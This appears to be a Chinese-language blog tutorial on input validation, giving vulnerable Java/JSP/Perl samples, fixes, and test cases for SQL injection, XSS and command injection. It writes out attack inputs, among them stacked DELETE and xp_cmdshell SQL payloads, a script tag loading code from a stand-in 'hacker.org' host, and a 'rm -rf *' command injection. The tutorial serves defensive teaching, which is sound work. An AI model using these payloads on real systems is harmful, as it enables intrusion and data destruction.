資料輸入驗證的資訊安全設計原則、測試、個案與實作

資料輸入驗證的資訊安全設計原則、測試、個案與實作

這篇文章主要說明資料輸入的驗證所帶來的資訊安全風險、怎樣才是比較適合的輸入驗證?

測試上建議的測試個案(XSS injection, Command injection, SQL injection)、相關的資安新聞實例與實作上的建議。

系統會從各個層面接收到使用者所資料輸入,

這些使用者所輸入的資料可能因為過失、錯誤或是刻意攻擊行為等,造成系統的異常或是非預期行為。

因為針對使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。

 

資料驗證安全原則

使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。

檢查的規則為何呢? 基本上分為四大類

  • Known Good Exact Match (Whitelisting)
  • Known Good Characters (Whitelisting)
  • Known Bad Characters (Blacklisting)
  • Known Bad Exact Match (Blacklisting)

安全設計的原則如下:

  • 任何跟資料庫有關的輸入參數都要進行檢查 (避免 SQL injection 或是非預期的資料寫入資料庫)
  • 資料回傳給使用者時也要檢查 (看看是否使用者透過其他方式取得非授權的資料)
  • 驗證是否有執行系統指令相關的參數 (主要避免 command injection 的風險)
  • 驗證輸入值的長度 (避免 buffer overflow 所帶來的 exploit)

 

SQL injection程式範例

這個例子就是一個 SQL Injection 的程式範例

1  string strUser = request.getParameter("user");
2  string strPwd = request.getParameter("password");
3
4  string strQuery = "SELECT * FROM users5                     WHERE username = '" + strUser + "'
6                     AND password = '" + strPwd + "'";
7
8  ExecuteQuery( strQuery, db_connection );

使用者可以透過輸入下列的資料,造成SQL injection。

測試個案1 : Adam’–

使用者名稱輸入  Adam’–

因為程式執行的時候,這個使用者名稱被帶入整個 SQL 的語句時,會變成下列結果。

SELECT * FROM users WHERE username = ‘   Adam’  —  ‘ AND password = ”

由於 — 符號在SQL 中是註解的意義。因此上述 SQL 語句又等於下列SQL 語句

SELECT * FROM users WHERE username = ‘  Adam’

造成不需要密碼就可以登入成功。

測試個案2 :  a’  OR   1=1  —

另外,使用者名稱也可以輸入 a’  OR   1=1  —

如此一來也可以造成 SQL 語句中的 Where 條件永遠成立。

 

測試個案3: 輸入”;”造成多重語句

當使用者名稱輸入為

a’; DELETE FROM username; SELECT * FROM items WHERE ‘a’=’a

整個 SQL 語句就會變成

SELECT * FROM username WHERE user = ‘a’; DELETE FROM username; SELECT * FROM username WHERE ‘a’=’a‘ AND password = ”

分行來看的話就是

SELECT * FROM username WHERE user = ‘a’;

DELETE FROM username;

SELECT * FROM username WHERE ‘a’=’a’ AND password = ”

測試個案4:透過 SQL injection執行指令xp_cmdshell

當使用者名稱輸入為

 

‘; EXEC master..xp_cmdshell ‘dir’ —

整個 SQL 語句就會變成

SELECT * FROM username WHERE user = ‘   ‘; EXEC master..xp_cmdshell ‘dir’ —   ‘ AND password = ”

分行來看的話就是

SELECT * FROM username WHERE user = ”;

EXEC master..xp_cmdshell ‘dir’ –‘ AND password = ”

 

 

新聞案例

http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/

有些網站的參數是透過 URL 傳遞,例如這個利用透過 PageNav與Page 傳遞所需要的資料頁數,

http://www.hbgaryfederal.com/pages.php?pageNav=2&page=27

因此駭客就有可能利用巧妙的改變 PageNav 與 Page 的值達到 SQL injection。

SQL injection 安全設計

對於 SQL injection 來說,怎樣才是比較安全的設計呢? 主要有三點

  • 限制長度 (例如,使用者名稱不需要超過 30字元)
  • 只允許合法字元 (例如,使用者名稱只可以用a-z, A-Z。這也就是為什麼有些網站會禁止一些特殊字元的用法)
  • Prepared statement (一般程式語言都會提供這樣的機制,就可以過濾掉 SQL injection 的問題)

上述的程式範例修改如下:

1   string strUser = request.getParameter("user");
2   if(strUser.length > 100) error();
3   if(strUser.matches("^[a-zA-Z]+$") == false) error();
4
5   string strQuery = "SELECT * FROM users6 WHERE username = ?
7                      AND password = ?";
8
9   PreparedStatement stmnt = null;
10  stmnt = db_connection.prepareStatment(strQuery);
11  stmnt.setString(1,strUser);
12  stmnt.setString(2,strPwd);
13  stmnt.execute();

 

資料回傳至使用者前的驗證 (XSS)

要做這樣的驗證主要是避免 JavaScript injection 所帶來的資訊安全風險,

常見的例子,使用者巧妙的輸入一段 JavaScript 程式至留言板,其他訪客瀏覽到那個留言版時,就會執行該JavaScript造成非預期的結果

XSS 程式範例

例如這個範例,輸入 label

1  <% string strLabel = request.getParameter("label"); %>
2
3  <P>
4    Label: <%= strLabel %>5  </P>

 

XSS測試個案 1

如果駭客輸入下列字串:

<SCRIPT SRC=http://hacker.org/malicious.js />

就會導致整個網頁變成下列狀態,間接執行 Hacker 所設計的 JavaScript 程式。

<P>

Label:   <SCRIPT SRC=http://hacker.org/malicious.js />

</P>

XSS測試個案 2

如果駭客輸入下列字串:

<IMG SRC=javascript:alert(‘XSS’)/>

alert()也是我們用來測試是否有 XSS 資安風險的常見輸入個案。

如果該輸入有 XSS風險,輸入之後就會在畫面直接看到一個 popup 視窗

XSS測試個案 3: 利用 Tamper Data 修改 Http 參數

XSS 可能發生在任何 Http Post/Get 的參數中,例如下列Post 參數有 id 與 action。

可以針對 id 輸入 <IMG SRC=javascript:alert(‘XSS’)/>,測試是否有 XSS injection 風險。

新聞個案- 透過 XSS 自動加入好友

http://it.slashdot.org/story/05/10/14/126233/Cross-Site-Scripting-Worm-Floods-MySpace

之前大名鼎鼎的 MySpace,有人透過 XSS 的方式讓其他訪客 “自動”就加入好友,因此在短時間內累積大量的好久。

 

修改後程式

上述的程式要如何修改才能避免 XSS安全風險呢?

  • 限制合法字元
  • 針對輸出 Encode。輸出包含 URL,HTML與 JavaScript。特別是 < 與 >的字元。
1  <%
2  string strLabel = request.getParameter("label");
3  if(strLabel.matches("^[a-zA-Z0-9]+$") == false) error();
4  %>
5
6  <P>
7    Label: <%= encodeHTML(strLabel) %>
8  </P>

 

Command Injection 的資訊安全風險

不好的程式範例

1  my $options = readSocket($sock);
2  my $command = "/bin/ls " . $options;
3  system($command);

上述程式,如果參數值輸入為

-la;   rm -rf *;

就會導致系統執行兩個指令,錯誤的將所有的檔案刪除

/bin/ls -la;

rm -rf *;

這個資訊安全風險是最危險的。因為駭客可以透過這樣的方式執行系統任何指令。進一步取得整台電腦的控制權。

如何避免這樣command injection的風險呢

  • 避免程式中可以透過輸入的方式執行系統指令。
  • 限制系統指令執行的權限設定
  • 限制輸入長度
  • 合法字元
  • 如果是指令參數輸入,可以考慮用選項的方式而不是任意輸入字元的方式。後端系統只會允許特定指定的選項 ID。

 

修改後程式範例

1   my $options = <STDIN>;
2   if length($options) > 100
3   {
4      error();
5   }
6   if ($options =~ m/^[a-zA-Z\- ]+$/)
7   {
8      my $command = "/bin/ls " . $options;
9      system($command);
10  }

 

Buffer Overflow的資訊安全風險

Buffer Overflow 是另外一個常見的資訊安全風險,駭客透過這樣的方式甚至可以取得系統權限,或是執行特定程式。

 

例如 IIS7.5 曾經發生的 Buffer overflow ,駭客透過這個漏洞可以執行任意的程式。

http://www.cvedetails.com/cve/CVE-2010-2730/

2015因為Buffer Overflow 所發現的資訊安全風險

http://www.cvedetails.com/vulnerability-list/year-2015/opov-1/overflow.html

iOS before 8.4.1 and OS X before 10.10.5也因為 Buffer overflow 的風險造成駭客可以執行任意程式。

http://www.cvedetails.com/cve/CVE-2015-5757/

這類系統性的風險相對測試有些難度。

 

系統安全設計上考量

  • 避免使用會造成 buffer overflow 的 API。例如 strcpy
  • 驗證輸入的值的長度
  • 合法字元、包含 NULL 與特殊字元
  • 最大值與最小值
  • 限制合法字元的輸入

 

Leave a Reply

Your email address will not be published.